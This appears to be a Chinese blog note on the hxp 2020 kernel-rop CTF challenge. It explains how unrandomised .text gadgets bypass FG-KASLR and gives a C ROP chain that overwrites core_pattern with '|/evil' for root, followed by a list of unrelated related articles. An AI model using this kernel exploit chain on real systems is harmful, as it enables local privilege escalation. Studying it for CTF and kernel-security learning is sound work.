0008-TIPS-2020-hxp-kernel-rop : bypass-FGKASLR-with-unaffected_gadgets

news/2024/10/31 3:19:39/

利用 CTF-WKI中描述中的缺点:.text 节区不参与函数随机化。因此,一旦知道其中的某个地址,就可以获取该节区所有的地址。有意思的是系统调用的入口代码都在该节区内,主要是因为这些代码都是汇编代码。此外,该节区具有以下一些不错的 gadget
在大佬的尝试中从内核基地址到偏移0x400dc6的所有小工具都不受FG-KASLR的影响。

使用call_usermodehelper中的core_pattern方式,来提权
细节,参考这里0005-TIPS-2020-hxp-kernel-rop : bypass-KPTI-with-modprobe

void overwrite_ret() {puts("[*] trying to run ROP chain and bypass FG-KASLR with unaffected gadgets");uint8_t sz = 35;uint64_t payload[sz];payload[cookie_off++] = cookie;payload[cookie_off++] = 0x0;payload[cookie_off++] = 0x0;payload[cookie_off++] = 0x0;payload[cookie_off++] = pop_rax_ret + kernel_base_offset;payload[cookie_off++] = 0x6c6976652f7c; // rax: |/evilpayload[cookie_off++] = pop_rsi_pop1_ret + kernel_base_offset;payload[cookie_off++] = core_pattern + kernel_base_offset;payload[cookie_off++] = 0x0;payload[cookie_off++] = write_rax_into_rsi_pop1_ret + kernel_base_offset;payload[cookie_off++] = 0x0;payload[cookie_off++] = swapgs_pop1_ret + kernel_base_offset;payload[cookie_off++] = 0x0;payload[cookie_off++] = iretq + kernel_base_offset;payload[cookie_off++] = user_rip;payload[cookie_off++] = user_cs;payload[cookie_off++] = user_rflags;payload[cookie_off++] = user_sp;payload[cookie_off++] = user_ss;uint64_t data = write(global_fd, payload, sizeof(payload));puts("[-] if you can read this we failed the mission :(");
}

参考
https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#kaslr
https://blog.wohin.me/posts/linux-kernel-pwn-01/


http://www.ppmy.cn/news/460655.html

相关文章

国产麒麟服务器等保二级 配置规范(二)

一、redis的配置规范 1.1 禁止以root账号运行redis服务 以下Linux 命令操作创建了一个无 home 目录权限,且无法登录的普通账号redis。 #useradd -M -s /sbin/nologin redis 修改服务允许和配置文件权限: #setsid sudo -u redis /usr/bin/redis-serer /e…

Kafka源码解析之索引

Kafka源码解析之索引 索引结构 Kafka有两种类型的索引: TimeIndex: 根据时间戳索引,可以通过时间查找偏移量所在位置,目录下以.timeindex结尾Index: 根据偏移量索引,.index结尾 构建索引时机 由log.index.interval.bytes 参…

Android——如何在电脑里找到手机中的图片或者视频

1.先让你的手机与你的电脑进行多媒体的连接 2.首先找到你的Android的SDK目录,然后进入platform-tools目录下,然后shift鼠标右键,选择在此处打开cmd或Powershell窗口,然后执行adb shell命令即可 3.然后我们在手机中随便找一个图片…

老电脑如何利用云服务器提升性能,把旧电脑变成云电脑?让手机运行大型PC游戏...

相信很多人家里有电脑,有的闲置了下来,也有还在继续超龄服役的,只不过性能已经跟不上了,平时应付下办公和看视频还是可以的。对于大型游戏,想都别想。 其实云电脑并不是硬件而是软件,能让老旧电脑通过连接云…

在手机与计算机之间进行文件传输的方式,电脑和手机传输文件方法_电脑和手机如何传文件-win7之家...

我们会经常使用手机和电脑之间互相传输文件,一般来说都是用usb数据线来传输,要是数据线坏了的时候该怎么办,我们也可以用一些软件来进行传输,那么电脑和手机如何传文件呢,下面小编给大家分享电脑和手机传输文件的方法步…

安卓手机传递文件到Windows系统电脑

1、需求说明 安卓手机传递文件到Windows系统电脑上不太方便,传递文件的原理花样太多。这里介绍纯净原生的蓝牙文件传递方式。 2、操作步骤 2.1 打开侧边栏面板 2.2 打开蓝牙,右键转至设置 2.3 配对完蓝牙,选择通过蓝牙发送或接收文件 配对蓝牙…

windows如何共享文件,手机在线观看电脑本地视频,传输大文件到手机

文章目录 windows如何共享文件,传输大文件到手机传输文件到手机手机观看电脑本地视频其他内容 windows如何共享文件,传输大文件到手机 我们需要去gitee上下载一个程序 (程序地址),下载 windows.rar,需要登…